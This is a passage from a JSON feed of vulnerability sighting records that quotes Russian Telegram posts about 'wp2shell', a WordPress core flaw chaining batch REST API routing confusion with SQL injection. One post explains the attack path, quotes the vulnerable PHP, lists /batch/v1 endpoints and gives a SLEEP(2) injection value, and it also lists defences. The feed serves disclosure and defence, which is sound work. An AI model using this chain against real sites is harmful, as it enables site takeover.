\u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/771"}, {"timestamp": "2026-07-26T00:00:39.533Z", "date_only": false, "value": "2026-07-26T00:00:39.533529Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZerodayAlert/771", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "58fd0f03-c804-42ae-bc2d-c6d43d44f24c", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/771"}, {"timestamp": "2026-07-26T02:00:05.307Z", "date_only": false, "value": "2026-07-26T02:00:05.307332Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/1170", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "922447b9-85a3-4416-8d97-78cf48d7cffb", "content": "wp2shell \u2014 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0442 \u0438 \u0434\u043e.\n\n\u042d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432:\n\n\ud83d\udccd CVE-2026-63030 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e REST API. CWE-436.\n\n\ud83d\udccd CVE-2026-60137 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f). CWE-89.\nwp2shell \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0432 \u0421MS Wordpress. \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 6.8.0\u20136.8.5; 6.9.0\u20136.9.4; 7.0.0\u2013 7.0.1.\n\n\ud83e\udee1 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 serve_batch_request_v1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /wp-json/batch/v1.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0434\u0432\u0430 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432: $requests[] (\u0441\u0430\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b) \u0438 $matches[] (\u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043d\u0438\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438). \n\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, http://), \u0444\u0443\u043d\u043a\u0446\u0438\u044f wp_parse_url() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $validation[] \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430 (WP_Error), \u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $matches[] \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 (\u0447\u0435\u0440\u0435\u0437 continue).\n\n\u041d\u0438\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0447\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f wp-includes/rest-api/class-wp-rest-server.php \nforeach ( $batch_request['requests'] as $args ) {\n            $parsed_url = wp_parse_url( $args['path'] );\n            if ( false === $parsed_url ) {\n                $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043b\u044f http:// \n\n                continue;\n            }\n\n            $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );\n ....\n\n$matches    = array();\n$validation = array();\n$has_error  = false;\nforeach ( $requests as $single_request ) {\n    if ( is_wp_error( $single_request ) ) {\n        $has_error    = true;\n        $validation[] = $single_request;  \n        continue; // \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 $matches[]\n    }\n\n\u0418\u0437-\u0437\u0430 continue \u043c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\n\n\u0421\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 continue \u2192 \u041c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u2192 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0447\u0443\u0436\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u2192 \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 batch \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 /wp/v2/posts \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a batch \u2192 \u0412\u043d\u0443\u0442\u0440\u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 \u043a /categories?author_exclude=SLEEP(2) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a /posts (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442) -> SQLi.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQLi\nauthor_exclude \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0442\u0438\u043f\u0430 array \u0432 get_collection_params().\n\u0412 get_items() \u043e\u043d \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u0432 author_not_in \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430.\n\u0418\u0437-\u0437\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0430.\nWP_Query \u043d\u0435 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 SQL.\n\nif (is_array($query_vars['author__not_in'])) {\n    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize\n}\n$author__not_in = implode(',', (array) $query_vars['author__not_in']);\n$where .= \" AND post_author NOT IN ($author__not_in) \"\n\n\ud83e\udee1 \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438:\n\u0417\u0430\u043f\u0440\u043e\u0441:\n\u2013 POST /wordpress/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\u2013 POST /?rest_route=/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \n\u2013 GET /?_method=POST&rest_route=/batch/v1&validation=normal + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \nSQLi - \"path\": \"/wp/v2/ author_exclude=\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\u00a0\u2014 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\ud83e\udee1 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2.\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c WAF/IDS \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u043e\u0442 SQLi.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 php-\u0444\u0430\u0439\u043b\u043e\u0432.\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0433\u0434\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0438\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u043b /batch/v1.\n5. \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a /batch/v1 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\ud83e\udee1 \u041b\u043e\u0432\u0438\u0442\u0435 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u2014 docker-compose.yml \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c wordpress \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d \u043a \u043f\u043e\u0441\u0442\u0443.\n\u0417\u0430\u043f\u0443\u0441\u043a docker-compose up.", "url": "https://t.me/cyberwarehouse/1170"}, {"timestamp": "2026-07-26T02:00:05.435Z", "date_only": false, "value": "2026-07-26T02:00:05.435378Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/1166", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "81b74182-545f-442b-86dd-85cab206c60b", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 